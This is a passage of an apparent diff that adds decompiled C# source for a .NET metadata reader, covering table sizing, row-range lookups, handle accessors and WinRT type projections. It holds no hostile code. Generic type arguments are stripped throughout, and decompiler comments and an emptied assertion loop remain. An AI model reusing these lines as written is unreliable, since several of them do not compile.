TableMask.AssemblyRef | TableMask.File | TableMask.ExportedType | TableMask.ManifestResource | TableMask.GenericParam | TableMask.MethodSpec | TableMask.GenericParamConstraint | TableMask.Document | TableMask.LocalScope | TableMask.LocalVariable | TableMask.LocalConstant | TableMask.ImportScope); + DocumentTable = new DocumentTableReader(rowCounts[48], guidHeapRefSize, blobHeapRefSize, metadataTablesMemoryBlock, num); + num += DocumentTable.Block.Length; + MethodDebugInformationTable = new MethodDebugInformationTableReader(rowCounts[49], GetReferenceSize(rowCounts, TableIndex.Document), blobHeapRefSize, metadataTablesMemoryBlock, num); + num += MethodDebugInformationTable.Block.Length; + LocalScopeTable = new LocalScopeTableReader(rowCounts[50], IsDeclaredSorted(TableMask.LocalScope), referenceSize, GetReferenceSize(rowCounts, TableIndex.ImportScope), GetReferenceSize(rowCounts, TableIndex.LocalVariable), GetReferenceSize(rowCounts, TableIndex.LocalConstant), metadataTablesMemoryBlock, num); + num += LocalScopeTable.Block.Length; + LocalVariableTable = new LocalVariableTableReader(rowCounts[51], stringHeapRefSize, metadataTablesMemoryBlock, num); + num += LocalVariableTable.Block.Length; + LocalConstantTable = new LocalConstantTableReader(rowCounts[52], stringHeapRefSize, blobHeapRefSize, metadataTablesMemoryBlock, num); + num += LocalConstantTable.Block.Length; + ImportScopeTable = new ImportScopeTableReader(rowCounts[53], GetReferenceSize(rowCounts, TableIndex.ImportScope), blobHeapRefSize, metadataTablesMemoryBlock, num); + num += ImportScopeTable.Block.Length; + StateMachineMethodTable = new StateMachineMethodTableReader(rowCounts[54], IsDeclaredSorted(TableMask.StateMachineMethod), referenceSize, metadataTablesMemoryBlock, num); + num += StateMachineMethodTable.Block.Length; + CustomDebugInformationTable = new CustomDebugInformationTableReader(rowCounts[55], IsDeclaredSorted(TableMask.CustomDebugInformation), hasCustomDebugInformationRefSize, guidHeapRefSize, blobHeapRefSize, metadataTablesMemoryBlock, num); + num += CustomDebugInformationTable.Block.Length; + if (num > metadataTablesMemoryBlock.Length) + { + throw new BadImageFormatException(System.SR.MetadataTablesTooSmall); + } + } + + private static int[] CombineRowCounts(int[] local, int[] external, TableIndex firstLocalTableIndex) + { + int[] array = new int[local.Length]; + for (int i = 0; i < (int)firstLocalTableIndex; i++) + { + array[i] = external[i]; + } + for (int j = (int)firstLocalTableIndex; j < array.Length; j++) + { + array[j] = local[j]; + } + return array; + } + + private int ComputeCodedTokenSize(int largeRowSize, int[] rowCounts, TableMask tablesReferenced) + { + if (IsMinimalDelta) + { + return 4; + } + bool flag = true; + ulong num = (ulong)tablesReferenced; + for (int i = 0; i < MetadataTokens.TableCount; i++) + { + if ((num & 1) != 0L) + { + flag = flag && rowCounts[i] < largeRowSize; + } + num >>= 1; + } + if (!flag) + { + return 4; + } + return 2; + } + + private bool IsDeclaredSorted(TableMask index) + { + return (_sortedTables & index) != 0; + } + + internal void GetFieldRange(TypeDefinitionHandle typeDef, out int firstFieldRowId, out int lastFieldRowId) + { + int rowId = typeDef.RowId; + firstFieldRowId = TypeDefTable.GetFieldStart(rowId); + if (firstFieldRowId == 0) + { + firstFieldRowId = 1; + lastFieldRowId = 0; + } + else if (rowId == TypeDefTable.NumberOfRows) + { + lastFieldRowId = (UseFieldPtrTable ? FieldPtrTable.NumberOfRows : FieldTable.NumberOfRows); + } + else + { + lastFieldRowId = TypeDefTable.GetFieldStart(rowId + 1) - 1; + } + } + + internal void GetMethodRange(TypeDefinitionHandle typeDef, out int firstMethodRowId, out int lastMethodRowId) + { + int rowId = typeDef.RowId; + firstMethodRowId = TypeDefTable.GetMethodStart(rowId); + if (firstMethodRowId == 0) + { + firstMethodRowId = 1; + lastMethodRowId = 0; + } + else if (rowId == TypeDefTable.NumberOfRows) + { + lastMethodRowId = (UseMethodPtrTable ? MethodPtrTable.NumberOfRows : MethodDefTable.NumberOfRows); + } + else + { + lastMethodRowId = TypeDefTable.GetMethodStart(rowId + 1) - 1; + } + } + + internal void GetEventRange(TypeDefinitionHandle typeDef, out int firstEventRowId, out int lastEventRowId) + { + int num = EventMapTable.FindEventMapRowIdFor(typeDef); + if (num == 0) + { + firstEventRowId = 1; + lastEventRowId = 0; + return; + } + firstEventRowId = EventMapTable.GetEventListStartFor(num); + if (num == EventMapTable.NumberOfRows) + { + lastEventRowId = (UseEventPtrTable ? EventPtrTable.NumberOfRows : EventTable.NumberOfRows); + } + else + { + lastEventRowId = EventMapTable.GetEventListStartFor(num + 1) - 1; + } + } + + internal void GetPropertyRange(TypeDefinitionHandle typeDef, out int firstPropertyRowId, out int lastPropertyRowId) + { + int num = PropertyMapTable.FindPropertyMapRowIdFor(typeDef); + if (num == 0) + { + firstPropertyRowId = 1; + lastPropertyRowId = 0; + return; + } + firstPropertyRowId = PropertyMapTable.GetPropertyListStartFor(num); + if (num == PropertyMapTable.NumberOfRows) + { + lastPropertyRowId = (UsePropertyPtrTable ? PropertyPtrTable.NumberOfRows : PropertyTable.NumberOfRows); + } + else + { + lastPropertyRowId = PropertyMapTable.GetPropertyListStartFor(num + 1) - 1; + } + } + + internal void GetParameterRange(MethodDefinitionHandle methodDef, out int firstParamRowId, out int lastParamRowId) + { + int rowId = methodDef.RowId; + firstParamRowId = MethodDefTable.GetParamStart(rowId); + if (firstParamRowId == 0) + { + firstParamRowId = 1; + lastParamRowId = 0; + } + else if (rowId == MethodDefTable.NumberOfRows) + { + lastParamRowId = (UseParamPtrTable ? ParamPtrTable.NumberOfRows : ParamTable.NumberOfRows); + } + else + { + lastParamRowId = MethodDefTable.GetParamStart(rowId + 1) - 1; + } + } + + internal void GetLocalVariableRange(LocalScopeHandle scope, out int firstVariableRowId, out int lastVariableRowId) + { + int rowId = scope.RowId; + firstVariableRowId = LocalScopeTable.GetVariableStart(rowId); + if (firstVariableRowId == 0) + { + firstVariableRowId = 1; + lastVariableRowId = 0; + } + else if (rowId == LocalScopeTable.NumberOfRows) + { + lastVariableRowId = LocalVariableTable.NumberOfRows; + } + else + { + lastVariableRowId = LocalScopeTable.GetVariableStart(rowId + 1) - 1; + } + } + + internal void GetLocalConstantRange(LocalScopeHandle scope, out int firstConstantRowId, out int lastConstantRowId) + { + int rowId = scope.RowId; + firstConstantRowId = LocalScopeTable.GetConstantStart(rowId); + if (firstConstantRowId == 0) + { + firstConstantRowId = 1; + lastConstantRowId = 0; + } + else if (rowId == LocalScopeTable.NumberOfRows) + { + lastConstantRowId = LocalConstantTable.NumberOfRows; + } + else + { + lastConstantRowId = LocalScopeTable.GetConstantStart(rowId + 1) - 1; + } + } + + public AssemblyDefinition GetAssemblyDefinition() + { + if (!IsAssembly) + { + throw new InvalidOperationException(System.SR.MetadataImageDoesNotRepresentAnAssembly); + } + return new AssemblyDefinition(this); + } + + public string GetString(StringHandle handle) + { + return StringHeap.GetString(handle, UTF8Decoder); + } + + public string GetString(NamespaceDefinitionHandle handle) + { + if (handle.HasFullName) + { + return StringHeap.GetString(handle.GetFullName(), UTF8Decoder); + } + return NamespaceCache.GetFullName(handle); + } + + public byte[] GetBlobBytes(BlobHandle handle) + { + return BlobHeap.GetBytes(handle); + } + + public ImmutableArray GetBlobContent(BlobHandle handle) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + byte[] array = GetBlobBytes(handle); + return ImmutableByteArrayInterop.DangerousCreateFromUnderlyingArray(ref array); + } + + public BlobReader GetBlobReader(BlobHandle handle) + { + return BlobHeap.GetBlobReader(handle); + } + + public BlobReader GetBlobReader(StringHandle handle) + { + return StringHeap.GetBlobReader(handle); + } + + public string GetUserString(UserStringHandle handle) + { + return UserStringHeap.GetString(handle); + } + + public Guid GetGuid(GuidHandle handle) + { + return GuidHeap.GetGuid(handle); + } + + public ModuleDefinition GetModuleDefinition() + { + if (_debugMetadataHeader != null) + { + throw new InvalidOperationException(System.SR.StandaloneDebugMetadataImageDoesNotContainModuleTable); + } + return new ModuleDefinition(this); + } + + public AssemblyReference GetAssemblyReference(AssemblyReferenceHandle handle) + { + return new AssemblyReference(this, handle.Value); + } + + public TypeDefinition GetTypeDefinition(TypeDefinitionHandle handle) + { + return new TypeDefinition(this, GetTypeDefTreatmentAndRowId(handle)); + } + + public NamespaceDefinition GetNamespaceDefinitionRoot() + { + NamespaceData rootNamespace = NamespaceCache.GetRootNamespace(); + return new NamespaceDefinition(rootNamespace); + } + + public NamespaceDefinition GetNamespaceDefinition(NamespaceDefinitionHandle handle) + { + NamespaceData namespaceData = NamespaceCache.GetNamespaceData(handle); + return new NamespaceDefinition(namespaceData); + } + + private uint GetTypeDefTreatmentAndRowId(TypeDefinitionHandle handle) + { + if (_metadataKind == MetadataKind.Ecma335) + { + return (uint)handle.RowId; + } + return CalculateTypeDefTreatmentAndRowId(handle); + } + + public TypeReference GetTypeReference(TypeReferenceHandle handle) + { + return new TypeReference(this, GetTypeRefTreatmentAndRowId(handle)); + } + + private uint GetTypeRefTreatmentAndRowId(TypeReferenceHandle handle) + { + if (_metadataKind == MetadataKind.Ecma335) + { + return (uint)handle.RowId; + } + return CalculateTypeRefTreatmentAndRowId(handle); + } + + public ExportedType GetExportedType(ExportedTypeHandle handle) + { + return new ExportedType(this, handle.RowId); + } + + public CustomAttributeHandleCollection GetCustomAttributes(EntityHandle handle) + { + return new CustomAttributeHandleCollection(this, handle); + } + + public CustomAttribute GetCustomAttribute(CustomAttributeHandle handle) + { + return new CustomAttribute(this, GetCustomAttributeTreatmentAndRowId(handle)); + } + + private uint GetCustomAttributeTreatmentAndRowId(CustomAttributeHandle handle) + { + if (_metadataKind == MetadataKind.Ecma335) + { + return (uint)handle.RowId; + } + return TreatmentAndRowId(1, handle.RowId); + } + + public DeclarativeSecurityAttribute GetDeclarativeSecurityAttribute(DeclarativeSecurityAttributeHandle handle) + { + return new DeclarativeSecurityAttribute(this, handle.RowId); + } + + public Constant GetConstant(ConstantHandle handle) + { + return new Constant(this, handle.RowId); + } + + public MethodDefinition GetMethodDefinition(MethodDefinitionHandle handle) + { + return new MethodDefinition(this, GetMethodDefTreatmentAndRowId(handle)); + } + + private uint GetMethodDefTreatmentAndRowId(MethodDefinitionHandle handle) + { + if (_metadataKind == MetadataKind.Ecma335) + { + return (uint)handle.RowId; + } + return CalculateMethodDefTreatmentAndRowId(handle); + } + + public FieldDefinition GetFieldDefinition(FieldDefinitionHandle handle) + { + return new FieldDefinition(this, GetFieldDefTreatmentAndRowId(handle)); + } + + private uint GetFieldDefTreatmentAndRowId(FieldDefinitionHandle handle) + { + if (_metadataKind == MetadataKind.Ecma335) + { + return (uint)handle.RowId; + } + return CalculateFieldDefTreatmentAndRowId(handle); + } + + public PropertyDefinition GetPropertyDefinition(PropertyDefinitionHandle handle) + { + return new PropertyDefinition(this, handle); + } + + public EventDefinition GetEventDefinition(EventDefinitionHandle handle) + { + return new EventDefinition(this, handle); + } + + public MethodImplementation GetMethodImplementation(MethodImplementationHandle handle) + { + return new MethodImplementation(this, handle); + } + + public MemberReference GetMemberReference(MemberReferenceHandle handle) + { + return new MemberReference(this, GetMemberRefTreatmentAndRowId(handle)); + } + + private uint GetMemberRefTreatmentAndRowId(MemberReferenceHandle handle) + { + if (_metadataKind == MetadataKind.Ecma335) + { + return (uint)handle.RowId; + } + return CalculateMemberRefTreatmentAndRowId(handle); + } + + public MethodSpecification GetMethodSpecification(MethodSpecificationHandle handle) + { + return new MethodSpecification(this, handle); + } + + public Parameter GetParameter(ParameterHandle handle) + { + return new Parameter(this, handle); + } + + public GenericParameter GetGenericParameter(GenericParameterHandle handle) + { + return new GenericParameter(this, handle); + } + + public GenericParameterConstraint GetGenericParameterConstraint(GenericParameterConstraintHandle handle) + { + return new GenericParameterConstraint(this, handle); + } + + public ManifestResource GetManifestResource(ManifestResourceHandle handle) + { + return new ManifestResource(this, handle); + } + + public AssemblyFile GetAssemblyFile(AssemblyFileHandle handle) + { + return new AssemblyFile(this, handle); + } + + public StandaloneSignature GetStandaloneSignature(StandaloneSignatureHandle handle) + { + return new StandaloneSignature(this, handle); + } + + public TypeSpecification GetTypeSpecification(TypeSpecificationHandle handle) + { + return new TypeSpecification(this, handle); + } + + public ModuleReference GetModuleReference(ModuleReferenceHandle handle) + { + return new ModuleReference(this, handle); + } + + public InterfaceImplementation GetInterfaceImplementation(InterfaceImplementationHandle handle) + { + return new InterfaceImplementation(this, handle); + } + + internal TypeDefinitionHandle GetDeclaringType(MethodDefinitionHandle methodDef) + { + int methodDefOrPtrRowId = ((!UseMethodPtrTable) ? methodDef.RowId : MethodPtrTable.GetRowIdForMethodDefRow(methodDef.RowId)); + return TypeDefTable.FindTypeContainingMethod(methodDefOrPtrRowId, MethodDefTable.NumberOfRows); + } + + internal TypeDefinitionHandle GetDeclaringType(FieldDefinitionHandle fieldDef) + { + int fieldDefOrPtrRowId = ((!UseFieldPtrTable) ? fieldDef.RowId : FieldPtrTable.GetRowIdForFieldDefRow(fieldDef.RowId)); + return TypeDefTable.FindTypeContainingField(fieldDefOrPtrRowId, FieldTable.NumberOfRows); + } + + public string GetString(DocumentNameBlobHandle handle) + { + return BlobHeap.GetDocumentName(handle); + } + + public Document GetDocument(DocumentHandle handle) + { + return new Document(this, handle); + } + + public MethodDebugInformation GetMethodDebugInformation(MethodDebugInformationHandle handle) + { + return new MethodDebugInformation(this, handle); + } + + public MethodDebugInformation GetMethodDebugInformation(MethodDefinitionHandle handle) + { + return new MethodDebugInformation(this, MethodDebugInformationHandle.FromRowId(handle.RowId)); + } + + public LocalScope GetLocalScope(LocalScopeHandle handle) + { + return new LocalScope(this, handle); + } + + public LocalVariable GetLocalVariable(LocalVariableHandle handle) + { + return new LocalVariable(this, handle); + } + + public LocalConstant GetLocalConstant(LocalConstantHandle handle) + { + return new LocalConstant(this, handle); + } + + public ImportScope GetImportScope(ImportScopeHandle handle) + { + return new ImportScope(this, handle); + } + + public CustomDebugInformation GetCustomDebugInformation(CustomDebugInformationHandle handle) + { + return new CustomDebugInformation(this, handle); + } + + public CustomDebugInformationHandleCollection GetCustomDebugInformation(EntityHandle handle) + { + return new CustomDebugInformationHandleCollection(this, handle); + } + + public LocalScopeHandleCollection GetLocalScopes(MethodDefinitionHandle handle) + { + return new LocalScopeHandleCollection(this, handle.RowId); + } + + public LocalScopeHandleCollection GetLocalScopes(MethodDebugInformationHandle handle) + { + return new LocalScopeHandleCollection(this, handle.RowId); + } + + private void InitializeNestedTypesMap() + { + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + Dictionary> dictionary = new Dictionary>(); + int numberOfRows = NestedClassTable.NumberOfRows; + Builder value = null; + TypeDefinitionHandle typeDefinitionHandle = default(TypeDefinitionHandle); + for (int i = 1; i <= numberOfRows; i++) + { + TypeDefinitionHandle enclosingClass = NestedClassTable.GetEnclosingClass(i); + if (enclosingClass != typeDefinitionHandle) + { + if (!dictionary.TryGetValue(enclosingClass, out value)) + { + value = ImmutableArray.CreateBuilder(); + dictionary.Add(enclosingClass, value); + } + typeDefinitionHandle = enclosingClass; + } + value.Add(NestedClassTable.GetNestedClass(i)); + } + Dictionary> dictionary2 = new Dictionary>(); + foreach (KeyValuePair> item in dictionary) + { + dictionary2.Add(item.Key, item.Value.ToImmutable()); + } + _lazyNestedTypesMap = dictionary2; + } + + internal ImmutableArray GetNestedTypes(TypeDefinitionHandle typeDef) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (_lazyNestedTypesMap == null) + { + InitializeNestedTypesMap(); + } + if (_lazyNestedTypesMap.TryGetValue(typeDef, out var value)) + { + return value; + } + return ImmutableArray.Empty; + } + + private TypeDefTreatment GetWellKnownTypeDefinitionTreatment(TypeDefinitionHandle typeDef) + { + InitializeProjectedTypes(); + StringHandle name = TypeDefTable.GetName(typeDef); + int num = StringHeap.BinarySearchRaw(s_projectedTypeNames, name); + if (num < 0) + { + return TypeDefTreatment.None; + } + StringHandle rawHandle = TypeDefTable.GetNamespace(typeDef); + if (StringHeap.EqualsRaw(rawHandle, StringHeap.GetVirtualString(s_projectionInfos[num].ClrNamespace))) + { + return s_projectionInfos[num].Treatment; + } + if (StringHeap.EqualsRaw(rawHandle, s_projectionInfos[num].WinRTNamespace)) + { + return s_projectionInfos[num].Treatment | TypeDefTreatment.MarkInternalFlag; + } + return TypeDefTreatment.None; + } + + private int GetProjectionIndexForTypeReference(TypeReferenceHandle typeRef, out bool isIDisposable) + { + InitializeProjectedTypes(); + int num = StringHeap.BinarySearchRaw(s_projectedTypeNames, TypeRefTable.GetName(typeRef)); + if (num >= 0 && StringHeap.EqualsRaw(TypeRefTable.GetNamespace(typeRef), s_projectionInfos[num].WinRTNamespace)) + { + isIDisposable = s_projectionInfos[num].IsIDisposable; + return num; + } + isIDisposable = false; + return -1; + } + + internal static AssemblyReferenceHandle GetProjectedAssemblyRef(int projectionIndex) + { + return AssemblyReferenceHandle.FromVirtualIndex(s_projectionInfos[projectionIndex].AssemblyRef); + } + + internal static StringHandle GetProjectedName(int projectionIndex) + { + return StringHandle.FromVirtualIndex(s_projectionInfos[projectionIndex].ClrName); + } + + internal static StringHandle GetProjectedNamespace(int projectionIndex) + { + return StringHandle.FromVirtualIndex(s_projectionInfos[projectionIndex].ClrNamespace); + } + + internal static TypeRefSignatureTreatment GetProjectedSignatureTreatment(int projectionIndex) + { + return s_projectionInfos[projectionIndex].SignatureTreatment; + } + + private static void InitializeProjectedTypes() + { + if (s_projectedTypeNames == null || s_projectionInfos == null) + { + AssemblyReferenceHandle.VirtualIndex clrAssembly = AssemblyReferenceHandle.VirtualIndex.System_Runtime_WindowsRuntime; + AssemblyReferenceHandle.VirtualIndex clrAssembly2 = AssemblyReferenceHandle.VirtualIndex.System_Runtime; + AssemblyReferenceHandle.VirtualIndex clrAssembly3 = AssemblyReferenceHandle.VirtualIndex.System_ObjectModel; + AssemblyReferenceHandle.VirtualIndex clrAssembly4 = AssemblyReferenceHandle.VirtualIndex.System_Runtime_WindowsRuntime_UI_Xaml; + AssemblyReferenceHandle.VirtualIndex clrAssembly5 = AssemblyReferenceHandle.VirtualIndex.System_Runtime_InteropServices_WindowsRuntime; + AssemblyReferenceHandle.VirtualIndex clrAssembly6 = AssemblyReferenceHandle.VirtualIndex.System_Numerics_Vectors; + string[] array = new string[50]; + ProjectionInfo[] array2 = new ProjectionInfo[50]; + int num = 0; + int num2 = 0; + array[num++] = "AttributeTargets"; + array2[num2++] = new ProjectionInfo("Windows.Foundation.Metadata", StringHandle.VirtualIndex.System, StringHandle.VirtualIndex.AttributeTargets, clrAssembly2); + array[num++] = "AttributeUsageAttribute"; + array2[num2++] = new ProjectionInfo("Windows.Foundation.Metadata", StringHandle.VirtualIndex.System, StringHandle.VirtualIndex.AttributeUsageAttribute, clrAssembly2, TypeDefTreatment.RedirectedToClrAttribute); + array[num++] = "Color"; + array2[num2++] = new ProjectionInfo("Windows.UI", StringHandle.VirtualIndex.Windows_UI, StringHandle.VirtualIndex.Color, clrAssembly); + array[num++] = "CornerRadius"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml", StringHandle.VirtualIndex.Windows_UI_Xaml, StringHandle.VirtualIndex.CornerRadius, clrAssembly4); + array[num++] = "DateTime"; + array2[num2++] = new ProjectionInfo("Windows.Foundation", StringHandle.VirtualIndex.System, StringHandle.VirtualIndex.DateTimeOffset, clrAssembly2); + array[num++] = "Duration"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml", StringHandle.VirtualIndex.Windows_UI_Xaml, StringHandle.VirtualIndex.Duration, clrAssembly4); + array[num++] = "DurationType"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml", StringHandle.VirtualIndex.Windows_UI_Xaml, StringHandle.VirtualIndex.DurationType, clrAssembly4); + array[num++] = "EventHandler`1"; + array2[num2++] = new ProjectionInfo("Windows.Foundation", StringHandle.VirtualIndex.System, StringHandle.VirtualIndex.EventHandler1, clrAssembly2); + array[num++] = "EventRegistrationToken"; + array2[num2++] = new ProjectionInfo("Windows.Foundation", StringHandle.VirtualIndex.System_Runtime_InteropServices_WindowsRuntime, StringHandle.VirtualIndex.EventRegistrationToken, clrAssembly5); + array[num++] = "GeneratorPosition"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml.Controls.Primitives", StringHandle.VirtualIndex.Windows_UI_Xaml_Controls_Primitives, StringHandle.VirtualIndex.GeneratorPosition, clrAssembly4); + array[num++] = "GridLength"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml", StringHandle.VirtualIndex.Windows_UI_Xaml, StringHandle.VirtualIndex.GridLength, clrAssembly4); + array[num++] = "GridUnitType"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml", StringHandle.VirtualIndex.Windows_UI_Xaml, StringHandle.VirtualIndex.GridUnitType, clrAssembly4); + array[num++] = "HResult"; + array2[num2++] = new ProjectionInfo("Windows.Foundation", StringHandle.VirtualIndex.System, StringHandle.VirtualIndex.Exception, clrAssembly2, TypeDefTreatment.RedirectedToClrType, TypeRefSignatureTreatment.ProjectedToClass); + array[num++] = "IBindableIterable"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml.Interop", StringHandle.VirtualIndex.System_Collections, StringHandle.VirtualIndex.IEnumerable, clrAssembly2); + array[num++] = "IBindableVector"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml.Interop", StringHandle.VirtualIndex.System_Collections, StringHandle.VirtualIndex.IList, clrAssembly2); + array[num++] = "IClosable"; + array2[num2++] = new ProjectionInfo("Windows.Foundation", StringHandle.VirtualIndex.System, StringHandle.VirtualIndex.IDisposable, clrAssembly2, TypeDefTreatment.RedirectedToClrType, TypeRefSignatureTreatment.None, isIDisposable: true); + array[num++] = "ICommand"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml.Input", StringHandle.VirtualIndex.System_Windows_Input, StringHandle.VirtualIndex.ICommand, clrAssembly3); + array[num++] = "IIterable`1"; + array2[num2++] = new ProjectionInfo("Windows.Foundation.Collections", StringHandle.VirtualIndex.System_Collections_Generic, StringHandle.VirtualIndex.IEnumerable1, clrAssembly2); + array[num++] = "IKeyValuePair`2"; + array2[num2++] = new ProjectionInfo("Windows.Foundation.Collections", StringHandle.VirtualIndex.System_Collections_Generic, StringHandle.VirtualIndex.KeyValuePair2, clrAssembly2, TypeDefTreatment.RedirectedToClrType, TypeRefSignatureTreatment.ProjectedToValueType); + array[num++] = "IMapView`2"; + array2[num2++] = new ProjectionInfo("Windows.Foundation.Collections", StringHandle.VirtualIndex.System_Collections_Generic, StringHandle.VirtualIndex.IReadOnlyDictionary2, clrAssembly2); + array[num++] = "IMap`2"; + array2[num2++] = new ProjectionInfo("Windows.Foundation.Collections", StringHandle.VirtualIndex.System_Collections_Generic, StringHandle.VirtualIndex.IDictionary2, clrAssembly2); + array[num++] = "INotifyCollectionChanged"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml.Interop", StringHandle.VirtualIndex.System_Collections_Specialized, StringHandle.VirtualIndex.INotifyCollectionChanged, clrAssembly3); + array[num++] = "INotifyPropertyChanged"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml.Data", StringHandle.VirtualIndex.System_ComponentModel, StringHandle.VirtualIndex.INotifyPropertyChanged, clrAssembly3); + array[num++] = "IReference`1"; + array2[num2++] = new ProjectionInfo("Windows.Foundation", StringHandle.VirtualIndex.System, StringHandle.VirtualIndex.Nullable1, clrAssembly2, TypeDefTreatment.RedirectedToClrType, TypeRefSignatureTreatment.ProjectedToValueType); + array[num++] = "IVectorView`1"; + array2[num2++] = new ProjectionInfo("Windows.Foundation.Collections", StringHandle.VirtualIndex.System_Collections_Generic, StringHandle.VirtualIndex.IReadOnlyList1, clrAssembly2); + array[num++] = "IVector`1"; + array2[num2++] = new ProjectionInfo("Windows.Foundation.Collections", StringHandle.VirtualIndex.System_Collections_Generic, StringHandle.VirtualIndex.IList1, clrAssembly2); + array[num++] = "KeyTime"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml.Media.Animation", StringHandle.VirtualIndex.Windows_UI_Xaml_Media_Animation, StringHandle.VirtualIndex.KeyTime, clrAssembly4); + array[num++] = "Matrix"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml.Media", StringHandle.VirtualIndex.Windows_UI_Xaml_Media, StringHandle.VirtualIndex.Matrix, clrAssembly4); + array[num++] = "Matrix3D"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml.Media.Media3D", StringHandle.VirtualIndex.Windows_UI_Xaml_Media_Media3D, StringHandle.VirtualIndex.Matrix3D, clrAssembly4); + array[num++] = "Matrix3x2"; + array2[num2++] = new ProjectionInfo("Windows.Foundation.Numerics", StringHandle.VirtualIndex.System_Numerics, StringHandle.VirtualIndex.Matrix3x2, clrAssembly6); + array[num++] = "Matrix4x4"; + array2[num2++] = new ProjectionInfo("Windows.Foundation.Numerics", StringHandle.VirtualIndex.System_Numerics, StringHandle.VirtualIndex.Matrix4x4, clrAssembly6); + array[num++] = "NotifyCollectionChangedAction"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml.Interop", StringHandle.VirtualIndex.System_Collections_Specialized, StringHandle.VirtualIndex.NotifyCollectionChangedAction, clrAssembly3); + array[num++] = "NotifyCollectionChangedEventArgs"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml.Interop", StringHandle.VirtualIndex.System_Collections_Specialized, StringHandle.VirtualIndex.NotifyCollectionChangedEventArgs, clrAssembly3); + array[num++] = "NotifyCollectionChangedEventHandler"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml.Interop", StringHandle.VirtualIndex.System_Collections_Specialized, StringHandle.VirtualIndex.NotifyCollectionChangedEventHandler, clrAssembly3); + array[num++] = "Plane"; + array2[num2++] = new ProjectionInfo("Windows.Foundation.Numerics", StringHandle.VirtualIndex.System_Numerics, StringHandle.VirtualIndex.Plane, clrAssembly6); + array[num++] = "Point"; + array2[num2++] = new ProjectionInfo("Windows.Foundation", StringHandle.VirtualIndex.Windows_Foundation, StringHandle.VirtualIndex.Point, clrAssembly); + array[num++] = "PropertyChangedEventArgs"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml.Data", StringHandle.VirtualIndex.System_ComponentModel, StringHandle.VirtualIndex.PropertyChangedEventArgs, clrAssembly3); + array[num++] = "PropertyChangedEventHandler"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml.Data", StringHandle.VirtualIndex.System_ComponentModel, StringHandle.VirtualIndex.PropertyChangedEventHandler, clrAssembly3); + array[num++] = "Quaternion"; + array2[num2++] = new ProjectionInfo("Windows.Foundation.Numerics", StringHandle.VirtualIndex.System_Numerics, StringHandle.VirtualIndex.Quaternion, clrAssembly6); + array[num++] = "Rect"; + array2[num2++] = new ProjectionInfo("Windows.Foundation", StringHandle.VirtualIndex.Windows_Foundation, StringHandle.VirtualIndex.Rect, clrAssembly); + array[num++] = "RepeatBehavior"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml.Media.Animation", StringHandle.VirtualIndex.Windows_UI_Xaml_Media_Animation, StringHandle.VirtualIndex.RepeatBehavior, clrAssembly4); + array[num++] = "RepeatBehaviorType"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml.Media.Animation", StringHandle.VirtualIndex.Windows_UI_Xaml_Media_Animation, StringHandle.VirtualIndex.RepeatBehaviorType, clrAssembly4); + array[num++] = "Size"; + array2[num2++] = new ProjectionInfo("Windows.Foundation", StringHandle.VirtualIndex.Windows_Foundation, StringHandle.VirtualIndex.Size, clrAssembly); + array[num++] = "Thickness"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml", StringHandle.VirtualIndex.Windows_UI_Xaml, StringHandle.VirtualIndex.Thickness, clrAssembly4); + array[num++] = "TimeSpan"; + array2[num2++] = new ProjectionInfo("Windows.Foundation", StringHandle.VirtualIndex.System, StringHandle.VirtualIndex.TimeSpan, clrAssembly2); + array[num++] = "TypeName"; + array2[num2++] = new ProjectionInfo("Windows.UI.Xaml.Interop", StringHandle.VirtualIndex.System, StringHandle.VirtualIndex.Type, clrAssembly2, TypeDefTreatment.RedirectedToClrType, TypeRefSignatureTreatment.ProjectedToClass); + array[num++] = "Uri"; + array2[num2++] = new ProjectionInfo("Windows.Foundation", StringHandle.VirtualIndex.System, StringHandle.VirtualIndex.Uri, clrAssembly2); + array[num++] = "Vector2"; + array2[num2++] = new ProjectionInfo("Windows.Foundation.Numerics", StringHandle.VirtualIndex.System_Numerics, StringHandle.VirtualIndex.Vector2, clrAssembly6); + array[num++] = "Vector3"; + array2[num2++] = new ProjectionInfo("Windows.Foundation.Numerics", StringHandle.VirtualIndex.System_Numerics, StringHandle.VirtualIndex.Vector3, clrAssembly6); + array[num++] = "Vector4"; + array2[num2++] = new ProjectionInfo("Windows.Foundation.Numerics", StringHandle.VirtualIndex.System_Numerics, StringHandle.VirtualIndex.Vector4, clrAssembly6); + s_projectedTypeNames = array; + s_projectionInfos = array2; + } + } + + [Conditional("DEBUG")] + private static void AssertSorted(string[] keys) + { + for (int i = 0; i < keys.Length - 1; i++) + { + } + } + + internal static string[] GetProjectedTypeNames() + { + InitializeProjectedTypes(); + return s_projectedTypeNames; + } + + private static uint TreatmentAndRowId(byte treatment, int rowId) + { + return (uint)((treatment << 24) | rowId); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + internal uint CalculateTypeDefTreatmentAndRowId(TypeDefinitionHandle handle) + { + TypeAttributes flags = TypeDefTable.GetFlags(handle); + EntityHandle extends = TypeDefTable.GetExtends(handle); + TypeDefTreatment typeDefTreatment; + if ((flags & TypeAttributes.WindowsRuntime) == 0) + { + typeDefTreatment = ((_metadataKind == MetadataKind.ManagedWindowsMetadata && IsClrImplementationType(handle)) ? 